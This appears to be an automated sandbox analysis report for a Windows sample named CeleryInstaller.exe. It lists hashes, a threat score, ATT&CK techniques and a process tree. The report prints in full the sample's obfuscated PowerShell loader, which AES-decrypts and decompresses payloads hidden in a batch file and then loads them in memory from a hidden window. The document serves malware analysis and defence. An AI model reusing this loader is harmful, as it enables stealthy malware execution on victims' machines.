a906de7e59caa3642f04482c23be09a43b17d4c90c3f2d2459dec6f9231e0785

General

Target

CeleryInstaller.exe
Size

822KB
MD5

5ce16788ba0245d5e0525600bc840303
SHA1

7a05b8b1f7d3e4a1ed2970ee264f8e30f7583fad
SHA256

a906de7e59caa3642f04482c23be09a43b17d4c90c3f2d2459dec6f9231e0785
SHA512

52154622f238f269ffc9dd129ba92741fc295db2cf0d11ccdbd022d05a6bbf3ddf4034897bc6223d837d9f9c9db2307165919d5a1f5cbf3d9f9d00daa4c123c6
SSDEEP

24576:6Zxdyl5wgQxPjs8kKMpoim6Gat+R3plhxZiXQu0Z:0Ul5wgQ9s8EpIa2xZn

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2748	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CeleryInstaller.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2748	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 2436	2416	CeleryInstaller.exe	31
PID 2416 wrote to memory of 2436	2416	CeleryInstaller.exe	31
PID 2416 wrote to memory of 2436	2416	CeleryInstaller.exe	31
PID 2416 wrote to memory of 2436	2416	CeleryInstaller.exe	31
PID 2416 wrote to memory of 2436	2416	CeleryInstaller.exe	31
PID 2416 wrote to memory of 2436	2416	CeleryInstaller.exe	31
PID 2416 wrote to memory of 2436	2416	CeleryInstaller.exe	31
PID 2436 wrote to memory of 2964	2436	cmd.exe	33
PID 2436 wrote to memory of 2964	2436	cmd.exe	33
PID 2436 wrote to memory of 2964	2436	cmd.exe	33
PID 2436 wrote to memory of 2964	2436	cmd.exe	33
PID 2964 wrote to memory of 2488	2964	net.exe	34
PID 2964 wrote to memory of 2488	2964	net.exe	34
PID 2964 wrote to memory of 2488	2964	net.exe	34
PID 2964 wrote to memory of 2488	2964	net.exe	34
PID 2436 wrote to memory of 2748	2436	cmd.exe	35
PID 2436 wrote to memory of 2748	2436	cmd.exe	35
PID 2436 wrote to memory of 2748	2436	cmd.exe	35
PID 2436 wrote to memory of 2748	2436	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\CeleryInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\CeleryInstaller.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\CeleryInstaller.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\SysWOW64\net.exe
    net file
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      System Location Discovery: System Language Discovery
      PID:2488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0BBslLiALGpYFLEu1i/t4EBzRvVQklwJA4brDSg26+E='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XK73PY4tKxp3jI+QruoY7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zhYIm=New-Object System.IO.MemoryStream(,$param_var); $JciOP=New-Object System.IO.MemoryStream; $ckzIi=New-Object System.IO.Compression.GZipStream($zhYIm, [IO.Compression.CompressionMode]::Decompress); $ckzIi.CopyTo($JciOP); $ckzIi.Dispose(); $zhYIm.Dispose(); $JciOP.Dispose(); $JciOP.ToArray();}function execute_function($param_var,$param2_var){ $epssR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qFpYd=$epssR.EntryPoint; $qFpYd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\CeleryInstaller.bat';$bcFAm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\CeleryInstaller.bat').Split([Environment]::NewLine);foreach ($qaSEs in $bcFAm) { if ($qaSEs.StartsWith(':: ')) { $BXfPO=$qaSEs.Substring(3); break; }}$payloads_var=[string[]]$BXfPO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CeleryInstaller.bat

Filesize
753KB

MD5
b330aaa77de23287e51d97ebcf4d99db

SHA1
6e419af7daa1f0b3a16cc539a12914015f46da83

SHA256
728be178f57a96a300b310b4cdbad650e9a4ce93834e2cbe8878c21d38589a9c

SHA512
2d0e0f8949a39e9a03892cbc14698f68e264e85dd66f5d3f682c26c0cbbea4821a6ab88c487fa67c54f9a9ff47af5f7a7bce0197f2957349564680b9af783df5

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Analysis

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